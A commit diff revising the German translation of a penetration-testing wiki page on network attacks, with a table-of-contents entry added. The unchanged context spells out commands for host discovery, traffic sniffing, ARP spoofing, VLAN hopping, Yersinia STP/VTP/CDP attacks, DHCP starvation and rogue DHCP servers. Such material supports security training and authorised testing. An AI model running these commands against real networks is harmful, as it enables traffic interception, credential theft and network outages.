Translated ['src/generic-methodologies-and-resources/pentesting-network/

This commit is contained in:
Translator 2025-07-30 04:48:47 +00:00
parent e48a1a8b81
commit a97b9634b0
4 changed files with 274 additions and 74 deletions

View File

@ -21,6 +21,7 @@
- [Network Protocols Explained (ESP)](generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md)
- [Nmap Summary (ESP)](generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md)
- [Pentesting IPv6](generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md)
- [Telecom Network Exploitation](generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md)
- [WebRTC DoS](generic-methodologies-and-resources/pentesting-network/webrtc-dos.md)
- [Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks](generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- [Spoofing SSDP and UPnP Devices with EvilSSDP](generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)

View File

@ -7,13 +7,13 @@
## Entdecken von Hosts von außen
Dies wird ein **kurzer Abschnitt** darüber sein, wie man **IPs, die antworten**, aus dem **Internet** findet.\
In dieser Situation haben Sie einige **IP-Bereiche** (vielleicht sogar mehrere **Bereiche**) und Sie müssen nur herausfinden, **welche IPs antworten**.
In dieser Situation haben Sie einen **Bereich von IPs** (vielleicht sogar mehrere **Bereiche**) und Sie müssen nur herausfinden, **welche IPs antworten**.
### ICMP
Dies ist der **einfachste** und **schnellste** Weg, um herauszufinden, ob ein Host aktiv ist oder nicht.\
Sie könnten versuchen, einige **ICMP**-Pakete zu senden und **Antworten zu erwarten**. Der einfachste Weg ist, einfach eine **Echo-Anfrage** zu senden und auf die Antwort zu warten. Sie können dies mit einem einfachen `ping` oder mit `fping` für **Bereiche** tun.\
Sie könnten auch **nmap** verwenden, um andere Arten von ICMP-Paketen zu senden (dies wird Filter für gängige ICMP Echo-Anfrage-Antworten vermeiden).
Sie könnten auch **nmap** verwenden, um andere Arten von ICMP-Paketen zu senden (dies wird Filter für gängige ICMP-Echo-Anfrage-Antworten vermeiden).
```bash
ping -c 1 199.66.11.4 # 1 echo request to a host
fping -g 199.66.11.0/24 # Send echo requests to ranges
@ -21,13 +21,13 @@ nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet
```
### TCP Port Discovery
Es ist sehr häufig, dass alle Arten von ICMP-Paketen gefiltert werden. Dann bleibt Ihnen nur noch, um zu überprüfen, ob ein Host aktiv ist, **offene Ports zu finden**. Jeder Host hat **65535 Ports**, also, wenn Sie einen "großen" Umfang haben, können Sie **nicht** testen, ob **jeder Port** jedes Hosts offen ist oder nicht, das würde zu viel Zeit in Anspruch nehmen.\
Es ist sehr häufig, dass alle Arten von ICMP-Paketen gefiltert werden. Dann bleibt Ihnen nur die Möglichkeit, zu überprüfen, ob ein Host aktiv ist, indem Sie **versuchen, offene Ports zu finden**. Jeder Host hat **65535 Ports**, also, wenn Sie einen "großen" Umfang haben, können Sie **nicht** testen, ob **jeder Port** jedes Hosts offen ist oder nicht, das würde zu viel Zeit in Anspruch nehmen.\
Was Sie brauchen, ist ein **schneller Port-Scanner** ([masscan](https://github.com/robertdavidgraham/masscan)) und eine Liste der **am häufigsten verwendeten Ports:**
```bash
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
```
Sie könnten diesen Schritt auch mit `nmap` durchführen, aber es ist langsamer und `nmap` hat Probleme, aktive Hosts zu identifizieren.
Sie könnten diesen Schritt auch mit `nmap` durchführen, aber es ist langsamer und `nmap` hat Probleme, Hosts zu identifizieren, die aktiv sind.
### HTTP Port Discovery
@ -37,7 +37,7 @@ masscan -p80,443,8000-8100,8443 199.66.11.0/24
```
### UDP-Port-Entdeckung
Sie könnten auch versuchen, einige **UDP-Ports zu überprüfen**, um zu entscheiden, ob Sie **mehr Aufmerksamkeit** auf einen **Host** richten sollten. Da UDP-Dienste normalerweise **nicht mit** **irgendwelchen Daten** auf ein reguläres leeres UDP-Probe-Paket antworten, ist es schwierig zu sagen, ob ein Port gefiltert oder offen ist. Der einfachste Weg, dies zu entscheiden, besteht darin, ein Paket zu senden, das mit dem laufenden Dienst verbunden ist, und da Sie nicht wissen, welcher Dienst läuft, sollten Sie den wahrscheinlichsten basierend auf der Portnummer versuchen:
Sie könnten auch versuchen, einige **UDP-Ports** zu überprüfen, um zu entscheiden, ob Sie **mehr Aufmerksamkeit** auf einen **Host** richten sollten. Da UDP-Dienste normalerweise **nicht mit** **irgendwelchen Daten** auf ein reguläres leeres UDP-Probe-Paket antworten, ist es schwierig zu sagen, ob ein Port gefiltert oder offen ist. Der einfachste Weg, dies zu entscheiden, besteht darin, ein Paket zu senden, das mit dem laufenden Dienst verbunden ist, und da Sie nicht wissen, welcher Dienst läuft, sollten Sie den wahrscheinlichsten basierend auf der Portnummer versuchen:
```bash
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
@ -98,10 +98,10 @@ alive6 <IFACE> # Send a pingv6 to multicast.
```
### Active ICMP
Beachten Sie, dass die in _Hosts von außen entdecken_ kommentierten Techniken ([_**ICMP**_](#icmp)) auch **hier angewendet werden können**.\
Beachten Sie, dass die in _Hosts von außen entdecken_ kommentierten Techniken ([_**ICMP**_](#icmp)) auch hier **angewendet werden können**.\
Aber da Sie im **gleichen Netzwerk** wie die anderen Hosts sind, können Sie **mehr Dinge** tun:
- Wenn Sie eine **Subnetz-Broadcast-Adresse** **pingen**, sollte das Ping zu **jedem Host** ankommen und sie könnten **antworten**: `ping -b 10.10.5.255`
- Wenn Sie eine **Subnetz-Broadcast-Adresse** **pingen**, sollte das Ping zu **jedem Host** gelangen und sie könnten **antworten**: `ping -b 10.10.5.255`
- Durch das Pingen der **Netzwerk-Broadcast-Adresse** könnten Sie sogar Hosts in **anderen Subnetzen** finden: `ping -b 255.255.255.255`
- Verwenden Sie die `-PE`, `-PP`, `-PM` Flags von `nmap`, um die Hostentdeckung durch das Senden von **ICMPv4 Echo**, **Zeitstempel** und **Subnetzmaskenanforderungen** durchzuführen: `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
@ -109,13 +109,13 @@ Aber da Sie im **gleichen Netzwerk** wie die anderen Hosts sind, können Sie **m
Wake On Lan wird verwendet, um Computer über eine **Netzwerknachricht** **einzuschalten**. Das magische Paket, das verwendet wird, um den Computer einzuschalten, ist nur ein Paket, in dem eine **MAC Dst** bereitgestellt wird und dann **16 Mal** innerhalb desselben Pakets **wiederholt** wird.\
Solche Pakete werden normalerweise in einem **Ethernet 0x0842** oder in einem **UDP-Paket an Port 9** gesendet.\
Wenn **keine \[MAC]** bereitgestellt wird, wird das Paket an **Broadcast-Ethernet** gesendet (und die Broadcast-MAC wird die sein, die wiederholt wird).
Wenn **keine \[MAC]** bereitgestellt wird, wird das Paket an **Broadcast-Ethernet** gesendet (und die Broadcast-MAC wird diejenige sein, die wiederholt wird).
```bash
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
```
## Scanning Hosts
## Scannen von Hosts
Sobald Sie alle IPs (extern oder intern) entdeckt haben, die Sie eingehend scannen möchten, können verschiedene Aktionen durchgeführt werden.
@ -157,7 +157,7 @@ nmap -sU -sV --version-intensity 0 -n -T4 <IP>
```
### SCTP Scan
**SCTP (Stream Control Transmission Protocol)** ist dafür ausgelegt, zusammen mit **TCP (Transmission Control Protocol)** und **UDP (User Datagram Protocol)** verwendet zu werden. Sein Hauptzweck besteht darin, den Transport von Telefondaten über IP-Netzwerke zu erleichtern, wobei viele der Zuverlässigkeitsmerkmale, die im **Signaling System 7 (SS7)** zu finden sind, nachgebildet werden. **SCTP** ist ein Kernbestandteil der **SIGTRAN**-Protokollfamilie, die darauf abzielt, SS7-Signale über IP-Netzwerke zu transportieren.
**SCTP (Stream Control Transmission Protocol)** ist dafür ausgelegt, zusammen mit **TCP (Transmission Control Protocol)** und **UDP (User Datagram Protocol)** verwendet zu werden. Sein Hauptzweck ist es, den Transport von Telefondaten über IP-Netzwerke zu erleichtern, wobei viele der Zuverlässigkeitsmerkmale, die im **Signaling System 7 (SS7)** zu finden sind, nachgebildet werden. **SCTP** ist ein Kernbestandteil der **SIGTRAN**-Protokollfamilie, die darauf abzielt, SS7-Signale über IP-Netzwerke zu transportieren.
Die Unterstützung für **SCTP** wird von verschiedenen Betriebssystemen bereitgestellt, wie **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS** und **VxWorks**, was auf seine breite Akzeptanz und Nützlichkeit im Bereich der Telekommunikation und Netzwerktechnologie hinweist.
@ -174,7 +174,7 @@ nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
ids-evasion.md
{{#endref}}
### **Weitere nmap Optionen**
### **Weitere nmap-Optionen**
{{#ref}}
nmap-summary-esp.md
@ -182,7 +182,7 @@ nmap-summary-esp.md
### Offenlegung interner IP-Adressen
**Fehlkonfigurierte Router, Firewalls und Netzwerkgeräte** reagieren manchmal auf Netzwerkabfragen mit **nicht öffentlichen Quelladressen**. **tcpdump** kann verwendet werden, um Pakete zu identifizieren, die während des Tests von privaten Adressen empfangen werden. Insbesondere können auf Kali Linux Pakete über die **eth2-Schnittstelle** erfasst werden, die vom öffentlichen Internet aus zugänglich ist. Es ist wichtig zu beachten, dass solche Pakete wahrscheinlich herausgefiltert werden, wenn Ihre Einrichtung hinter einem NAT oder einer Firewall steht.
**Fehlkonfigurierte Router, Firewalls und Netzwerkgeräte** reagieren manchmal auf Netzwerkabfragen mit **nichtöffentlichen Quelladressen**. **tcpdump** kann verwendet werden, um Pakete zu identifizieren, die während des Tests von privaten Adressen empfangen werden. Insbesondere können auf Kali Linux Pakete über die **eth2-Schnittstelle** erfasst werden, die vom öffentlichen Internet aus zugänglich ist. Es ist wichtig zu beachten, dass solche Pakete wahrscheinlich herausgefiltert werden, wenn Ihre Einrichtung hinter einem NAT oder einer Firewall steht.
```bash
tcpdump nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
@ -192,9 +192,9 @@ IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
```
## Sniffing
Durch Sniffing können Sie Details zu IP-Bereichen, Subnetzgrößen, MAC-Adressen und Hostnamen erfahren, indem Sie erfasste Frames und Pakete überprüfen. Wenn das Netzwerk falsch konfiguriert ist oder die Switching-Infrastruktur unter Stress steht, können Angreifer sensible Daten durch passives Netzwerk-Sniffing erfassen.
Beim Sniffing können Sie Details zu IP-Bereichen, Subnetzgrößen, MAC-Adressen und Hostnamen durch die Überprüfung erfasster Frames und Pakete lernen. Wenn das Netzwerk falsch konfiguriert ist oder die Switching-Infrastruktur unter Stress steht, können Angreifer sensible Materialien durch passives Netzwerksniffing erfassen.
Wenn ein switched Ethernet-Netzwerk richtig konfiguriert ist, sehen Sie nur Broadcast-Frames und Material, das für Ihre MAC-Adresse bestimmt ist.
Wenn ein switched Ethernet-Netzwerk richtig konfiguriert ist, sehen Sie nur Broadcast-Frames und Materialien, die für Ihre MAC-Adresse bestimmt sind.
### TCPDump
```bash
@ -202,7 +202,7 @@ sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what
tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
```
Man kann auch Pakete von einer entfernten Maschine über eine SSH-Sitzung mit Wireshark als GUI in Echtzeit erfassen.
Man kann auch Pakete von einem Remote-Computer über eine SSH-Sitzung mit Wireshark als GUI in Echtzeit erfassen.
```
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
@ -228,7 +228,7 @@ Sie können Tools wie [https://github.com/lgandx/PCredz](https://github.com/lgan
### ARP-Spoofing
ARP-Spoofing besteht darin, kostenlose ARP-Antworten zu senden, um anzuzeigen, dass die IP eines Geräts die MAC unseres Geräts hat. Dann wird das Opfer die ARP-Tabelle ändern und wird unser Gerät kontaktieren, wann immer es die gefälschte IP kontaktieren möchte.
ARP-Spoofing besteht darin, kostenlose ARP-Antworten zu senden, um anzuzeigen, dass die IP einer Maschine die MAC unseres Geräts hat. Dann wird das Opfer die ARP-Tabelle ändern und unsere Maschine kontaktieren, jedes Mal, wenn es die gefälschte IP kontaktieren möchte.
#### **Bettercap**
```bash
@ -262,7 +262,7 @@ Standardmäßig sind Switch-Ports so eingestellt, dass sie im Dynamic Auto-Modus
Die standardmäßige Präsenz von DTP in vielen Switches kann von Gegnern ausgenutzt werden, um das Verhalten eines Switches nachzuahmen und so Zugriff auf den Datenverkehr über alle VLANs zu erhalten. Das Skript [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) wird verwendet, um eine Schnittstelle zu überwachen und zu zeigen, ob ein Switch im Default-, Trunk-, Dynamic-, Auto- oder Access-Modus ist—letzteres ist die einzige Konfiguration, die gegen VLAN-Hopping-Angriffe immun ist. Dieses Tool bewertet den Vulnerabilitätsstatus des Switches.
Sollte eine Netzwerkschwachstelle identifiziert werden, kann das _**Yersinia**_ Tool eingesetzt werden, um "Trunking zu aktivieren" über das DTP-Protokoll, was die Beobachtung von Paketen aus allen VLANs ermöglicht.
Sollte eine Netzwerkschwachstelle identifiziert werden, kann das _**Yersinia**_-Tool eingesetzt werden, um "Trunking zu aktivieren" über das DTP-Protokoll, was die Beobachtung von Paketen aus allen VLANs ermöglicht.
```bash
apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali
@ -279,7 +279,7 @@ Um die VLANs aufzulisten, ist es auch möglich, das DTP Desirable-Frame mit dem
```
sudo python3 DTPHijacking.py --interface eth0
```
Ich möchte darauf hinweisen, dass **Access/Desirable (0x03)** darauf hinweist, dass der DTP-Rahmen vom Desirable-Typ ist, was dem Port sagt, in den Trunk-Modus zu wechseln. Und **802.1Q/802.1Q (0xa5)** zeigt den **802.1Q** Kapselungstyp an.
Ich möchte darauf hinweisen, dass **Access/Desirable (0x03)** anzeigt, dass der DTP-Rahmen vom Desirable-Typ ist, was dem Port sagt, in den Trunk-Modus zu wechseln. Und **802.1Q/802.1Q (0xa5)** zeigt den **802.1Q** Kapselungstyp an.
Durch die Analyse der STP-Rahmen **erfahren wir von der Existenz von VLAN 30 und VLAN 60.**
@ -327,9 +327,9 @@ Der besprochene Angriff von **Dynamic Trunking und dem Erstellen virtueller Schn
#### Doppelte Tagging
Wenn ein Angreifer den Wert der **MAC, IP und VLAN-ID des Opferhosts** kennt, könnte er versuchen, einen **Frame doppelt zu taggen** mit seinem zugewiesenen VLAN und dem VLAN des Opfers und ein Paket zu senden. Da das **Opfer nicht in der Lage sein wird, mit dem Angreifer zurück zu verbinden**, ist die **beste Option für den Angreifer, über UDP zu kommunizieren** mit Protokollen, die einige interessante Aktionen durchführen können (wie SNMP).
Wenn ein Angreifer den Wert der **MAC, IP und VLAN-ID des Opferhosts** kennt, könnte er versuchen, ein **Frame doppelt zu taggen** mit dem vorgesehenen VLAN und dem VLAN des Opfers und ein Paket zu senden. Da das **Opfer nicht in der Lage sein wird, mit dem Angreifer zurück zu kommunizieren**, ist die **beste Option für den Angreifer, über UDP zu kommunizieren** mit Protokollen, die einige interessante Aktionen durchführen können (wie SNMP).
Eine weitere Option für den Angreifer ist, einen **TCP-Port-Scan durchzuführen, indem er eine IP vortäuscht, die vom Angreifer kontrolliert wird und für das Opfer zugänglich ist** (wahrscheinlich über das Internet). Dann könnte der Angreifer im zweiten von ihm besessenen Host sniffen, ob er einige Pakete vom Opfer erhält.
Eine weitere Option für den Angreifer ist, einen **TCP-Port-Scan durchzuführen, indem er eine IP fälscht, die vom Angreifer kontrolliert wird und für das Opfer zugänglich ist** (wahrscheinlich über das Internet). Dann könnte der Angreifer im zweiten von ihm besessenen Host sniffen, ob er einige Pakete vom Opfer erhält.
![](<../../images/image (190).png>)
@ -350,14 +350,14 @@ lateral-vlan-segmentation-bypass.md
#### Layer 3 Private VLAN Bypass
In bestimmten Umgebungen, wie z.B. Gast-WLAN-Netzwerken, werden **Port-Isolations- (auch bekannt als private VLAN)**-Einstellungen implementiert, um zu verhindern, dass Clients, die mit einem drahtlosen Zugangspunkt verbunden sind, direkt miteinander kommunizieren. Es wurde jedoch eine Technik identifiziert, die diese Isolationsmaßnahmen umgehen kann. Diese Technik nutzt entweder das Fehlen von Netzwerk-ACLs oder deren unsachgemäße Konfiguration aus, wodurch IP-Pakete über einen Router weitergeleitet werden können, um einen anderen Client im selben Netzwerk zu erreichen.
In bestimmten Umgebungen, wie z.B. Gast-WLAN-Netzwerken, werden **Port-Isolations- (auch bekannt als Private VLAN)**-Einstellungen implementiert, um zu verhindern, dass Clients, die mit einem drahtlosen Zugangspunkt verbunden sind, direkt miteinander kommunizieren. Es wurde jedoch eine Technik identifiziert, die diese Isolationsmaßnahmen umgehen kann. Diese Technik nutzt entweder das Fehlen von Netzwerk-ACLs oder deren unsachgemäße Konfiguration aus, wodurch IP-Pakete über einen Router an einen anderen Client im selben Netzwerk weitergeleitet werden können.
Der Angriff wird ausgeführt, indem ein **Paket erstellt wird, das die IP-Adresse des Zielclients, jedoch mit der MAC-Adresse des Routers** trägt. Dies führt dazu, dass der Router das Paket fälschlicherweise an den Zielclient weiterleitet. Dieser Ansatz ähnelt dem, der bei Double Tagging Attacks verwendet wird, bei dem die Fähigkeit, einen für das Opfer zugänglichen Host zu kontrollieren, genutzt wird, um die Sicherheitsanfälligkeit auszunutzen.
Der Angriff wird ausgeführt, indem ein **Paket erstellt wird, das die IP-Adresse des Ziel-Clients, jedoch mit der MAC-Adresse des Routers** trägt. Dies führt dazu, dass der Router das Paket fälschlicherweise an den Ziel-Client weiterleitet. Dieser Ansatz ähnelt dem, der bei Double Tagging Attacks verwendet wird, bei dem die Fähigkeit, einen für das Opfer zugänglichen Host zu kontrollieren, genutzt wird, um die Sicherheitsanfälligkeit auszunutzen.
**Wichtige Schritte des Angriffs:**
1. **Erstellen eines Pakets:** Ein Paket wird speziell erstellt, um die IP-Adresse des Zielclients, jedoch mit der MAC-Adresse des Routers, zu enthalten.
2. **Ausnutzen des Routerverhaltens:** Das erstellte Paket wird an den Router gesendet, der aufgrund der Konfiguration das Paket an den Zielclient umleitet und dabei die Isolation, die durch private VLAN-Einstellungen bereitgestellt wird, umgeht.
1. **Erstellen eines Pakets:** Ein Paket wird speziell erstellt, um die IP-Adresse des Ziel-Clients, jedoch mit der MAC-Adresse des Routers, zu enthalten.
2. **Ausnutzen des Routerverhaltens:** Das erstellte Paket wird an den Router gesendet, der aufgrund der Konfiguration das Paket an den Ziel-Client umleitet und dabei die Isolation, die durch die Private VLAN-Einstellungen bereitgestellt wird, umgeht.
### VTP Angriffe
@ -367,15 +367,15 @@ VTP (VLAN Trunking Protocol) zentralisiert das VLAN-Management. Es verwendet Ver
- **VTP-Server:** Verwaltet VLANs—erstellt, löscht, ändert. Er sendet VTP-Ankündigungen an die Mitglieder der Domain.
- **VTP-Client:** Empfängt VTP-Ankündigungen, um seine VLAN-Datenbank zu synchronisieren. Diese Rolle ist von lokalen VLAN-Konfigurationsänderungen ausgeschlossen.
- **VTP Transparent:** Nimmt nicht an VTP-Updates teil, leitet jedoch VTP-Ankündigungen weiter. Unberührt von VTP-Angriffen, behält es eine konstante Versionsnummer von null bei.
- **VTP-Transparent:** Nimmt nicht an VTP-Updates teil, leitet jedoch VTP-Ankündigungen weiter. Unberührt von VTP-Angriffen, behält es eine konstante Versionsnummer von null bei.
#### VTP-Ankündigungstypen
- **Zusammenfassungsankündigung:** Wird alle 300 Sekunden vom VTP-Server gesendet und enthält wesentliche Domaininformationen.
- **Teilmenge-Ankündigung:** Wird nach Änderungen an der VLAN-Konfiguration gesendet.
- **Ankündigungsanfrage:** Wird von einem VTP-Client ausgegeben, um eine Zusammenfassungsankündigung anzufordern, typischerweise als Reaktion auf die Erkennung einer höheren Konfigurationsversionsnummer.
- **Teilansicht-Ankündigung:** Wird nach Änderungen an der VLAN-Konfiguration gesendet.
- **Ankündigungsanforderung:** Wird von einem VTP-Client ausgegeben, um eine Zusammenfassungsankündigung anzufordern, typischerweise als Reaktion auf die Erkennung einer höheren Konfigurationsversionsnummer.
VTP-Sicherheitsanfälligkeiten sind ausschließlich über Trunk-Ports ausnutzbar, da VTP-Ankündigungen ausschließlich durch diese zirkulieren. Nach DTP-Angriffszenarien könnte der Fokus auf VTP verlagert werden. Tools wie Yersinia können VTP-Angriffe erleichtern, die darauf abzielen, die VLAN-Datenbank zu löschen und das Netzwerk effektiv zu stören.
VTP-Sicherheitsanfälligkeiten sind ausschließlich über Trunk-Ports ausnutzbar, da VTP-Ankündigungen ausschließlich durch diese zirkulieren. Nach DTP-Angriffszenarien könnte der Fokus auf VTP verschwenken. Tools wie Yersinia können VTP-Angriffe erleichtern, die darauf abzielen, die VLAN-Datenbank zu löschen und das Netzwerk effektiv zu stören.
Hinweis: Diese Diskussion bezieht sich auf VTP-Version 1 (VTPv1).
````bash
@ -389,15 +389,15 @@ Im grafischen Modus von Yersinia wählen Sie die Option zum Löschen aller VTP-V
#### **STP BPDU DoS**
Durch das Senden einer großen Anzahl von BPDUs TCP (Topology Change Notification) oder Conf (die BPDUs, die gesendet werden, wenn die Topologie erstellt wird) werden die Switches überlastet und funktionieren nicht mehr richtig.
Durch das Senden einer großen Anzahl von BPDUs TCP (Topology Change Notification) oder Conf (die BPDUs, die gesendet werden, wenn die Topologie erstellt wird) werden die Switches überlastet und funktionieren nicht mehr korrekt.
```bash
yersinia stp -attack 2
yersinia stp -attack 3
#Use -M to disable MAC spoofing
```
#### **STP TCP Angriff**
#### **STP TCP-Angriff**
Wenn ein TCP gesendet wird, wird die CAM-Tabelle der Switches nach 15 Sekunden gelöscht. Wenn Sie dann kontinuierlich diese Art von Paketen senden, wird die CAM-Tabelle kontinuierlich (oder alle 15 Sekunden) neu gestartet, und wenn sie neu gestartet wird, verhält sich der Switch wie ein Hub.
Wenn ein TCP gesendet wird, wird die CAM-Tabelle der Switches in 15 Sekunden gelöscht. Wenn Sie dann kontinuierlich diese Art von Paketen senden, wird die CAM-Tabelle kontinuierlich (oder alle 15 Sekunden) neu gestartet, und wenn sie neu gestartet wird, verhält sich der Switch wie ein Hub.
```bash
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
@ -410,7 +410,7 @@ Dies geschieht, indem BPDUs CONF-Pakete gesendet werden, die besagen, dass der *
yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
```
**Wenn der Angreifer mit 2 Switches verbunden ist, kann er die Wurzel des neuen Baumes sein und der gesamte Verkehr zwischen diesen Switches wird über ihn geleitet** (ein MITM-Angriff wird durchgeführt).
**Wenn der Angreifer mit 2 Switches verbunden ist, kann er der Wurzel des neuen Baumes sein und der gesamte Verkehr zwischen diesen Switches wird durch ihn geleitet** (ein MITM-Angriff wird durchgeführt).
```bash
yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages
@ -438,13 +438,13 @@ Während dieses Angriffs sind die CPU des Switches und die CDP-Nachbartabelle st
sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet
```
Sie könnten auch [**scapy**](https://github.com/secdev/scapy/) verwenden. Stellen Sie sicher, dass Sie es mit dem `scapy/contrib`-Paket installieren.
Sie können auch [**scapy**](https://github.com/secdev/scapy/) verwenden. Stellen Sie sicher, dass Sie es mit dem `scapy/contrib`-Paket installieren.
### VoIP-Angriffe und das VoIP Hopper-Tool
VoIP-Telefone, die zunehmend mit IoT-Geräten integriert sind, bieten Funktionen wie das Entsperren von Türen oder die Steuerung von Thermostaten über spezielle Telefonnummern. Diese Integration kann jedoch Sicherheitsrisiken mit sich bringen.
VoIP-Telefone, die zunehmend mit IoT-Geräten integriert sind, bieten Funktionen wie das Entsperren von Türen oder das Steuern von Thermostaten über spezielle Telefonnummern. Diese Integration kann jedoch Sicherheitsrisiken mit sich bringen.
Das Tool [**voiphopper**](http://voiphopper.sourceforge.net) ist dafür konzipiert, ein VoIP-Telefon in verschiedenen Umgebungen (Cisco, Avaya, Nortel, Alcatel-Lucent) zu emulieren. Es entdeckt die VLAN-ID des Sprachnetzwerks mithilfe von Protokollen wie CDP, DHCP, LLDP-MED und 802.1Q ARP.
Das Tool [**voiphopper**](http://voiphopper.sourceforge.net) ist dafür ausgelegt, ein VoIP-Telefon in verschiedenen Umgebungen (Cisco, Avaya, Nortel, Alcatel-Lucent) zu emulieren. Es entdeckt die VLAN-ID des Sprachnetzwerks mithilfe von Protokollen wie CDP, DHCP, LLDP-MED und 802.1Q ARP.
**VoIP Hopper** bietet drei Modi für das Cisco Discovery Protocol (CDP):
@ -459,7 +459,7 @@ Der bevorzugte Modus für Geschwindigkeit ist der dritte. Es erfordert die Angab
In Unternehmensumgebungen könnte man, um ein bestehendes VoIP-Gerät zu imitieren:
- Das MAC-Etikett am Telefon überprüfen.
- Das MAC-Etikett auf dem Telefon überprüfen.
- Die Anzeigeeinstellungen des Telefons durchsuchen, um Modellinformationen anzuzeigen.
- Das VoIP-Gerät mit einem Laptop verbinden und CDP-Anfragen mit Wireshark beobachten.
@ -490,7 +490,7 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
**DoS**
**Zwei Arten von DoS** können gegen DHCP-Server durchgeführt werden. Die erste besteht darin, **genug gefälschte Hosts zu simulieren, um alle möglichen IP-Adressen zu nutzen**.\
Dieser Angriff funktioniert nur, wenn Sie die Antworten des DHCP-Servers sehen können und das Protokoll abschließen (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). Zum Beispiel ist dies **in Wifi-Netzwerken nicht möglich**.
Dieser Angriff funktioniert nur, wenn Sie die Antworten des DHCP-Servers sehen können und das Protokoll abschließen können (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). Zum Beispiel ist dies **in Wifi-Netzwerken nicht möglich**.
Eine andere Möglichkeit, einen DHCP DoS durchzuführen, besteht darin, ein **DHCP-RELEASE-Paket zu senden, wobei jede mögliche IP als Quelladresse verwendet wird**. Dann wird der Server denken, dass jeder die IP nicht mehr verwendet.
```bash
@ -503,7 +503,7 @@ Sie könnten die erwähnten DoS-Angriffe nutzen, um Clients zu zwingen, neue Lea
#### Bösartige Werte festlegen
Ein bösartiger DHCP-Server kann mit dem DHCP-Skript unter `/usr/share/responder/DHCP.py` eingerichtet werden. Dies ist nützlich für Netzwerkangriffe, wie das Abfangen von HTTP-Verkehr und Anmeldeinformationen, indem der Verkehr zu einem bösartigen Server umgeleitet wird. Das Einrichten eines bösartigen Gateways ist jedoch weniger effektiv, da es nur das Abfangen von ausgehendem Verkehr vom Client ermöglicht und die Antworten vom echten Gateway verpasst. Stattdessen wird empfohlen, einen bösartigen DNS- oder WPAD-Server für einen effektiveren Angriff einzurichten.
Ein bösartiger DHCP-Server kann mit dem DHCP-Skript unter `/usr/share/responder/DHCP.py` eingerichtet werden. Dies ist nützlich für Netzwerkangriffe, wie das Abfangen von HTTP-Verkehr und Anmeldeinformationen, indem der Verkehr zu einem bösartigen Server umgeleitet wird. Das Einrichten eines bösartigen Gateways ist jedoch weniger effektiv, da es nur das ausgehende Verkehrs vom Client erfasst und die Antworten vom echten Gateway verpasst. Stattdessen wird empfohlen, einen bösartigen DNS- oder WPAD-Server für einen effektiveren Angriff einzurichten.
Im Folgenden sind die Befehlsoptionen zur Konfiguration des bösartigen DHCP-Servers aufgeführt:
@ -511,14 +511,14 @@ Im Folgenden sind die Befehlsoptionen zur Konfiguration des bösartigen DHCP-Ser
- **Lokaler DNS-Domainname**: Optional können Sie `-d example.org` verwenden, um einen lokalen DNS-Domainnamen festzulegen.
- **IP-Adresse des ursprünglichen Routers/Gateways**: Verwenden Sie `-r 10.0.0.1`, um die IP-Adresse des legitimen Routers oder Gateways anzugeben.
- **IP-Adresse des primären DNS-Servers**: Verwenden Sie `-p 10.0.0.100`, um die IP-Adresse des bösartigen DNS-Servers festzulegen, den Sie kontrollieren.
- **IP-Adresse des sekundären DNS-Servers**: Optional können Sie `-s 10.0.0.1` verwenden, um eine IP-Adresse für einen sekundären DNS-Server festzulegen.
- **IP-Adresse des sekundären DNS-Servers**: Optional können Sie `-s 10.0.0.1` verwenden, um eine sekundäre DNS-Server-IP festzulegen.
- **Netzmaske des lokalen Netzwerks**: Verwenden Sie `-n 255.255.255.0`, um die Netzmaske für das lokale Netzwerk zu definieren.
- **Schnittstelle für DHCP-Verkehr**: Verwenden Sie `-I eth1`, um auf einer bestimmten Netzwerkschnittstelle auf DHCP-Verkehr zu hören.
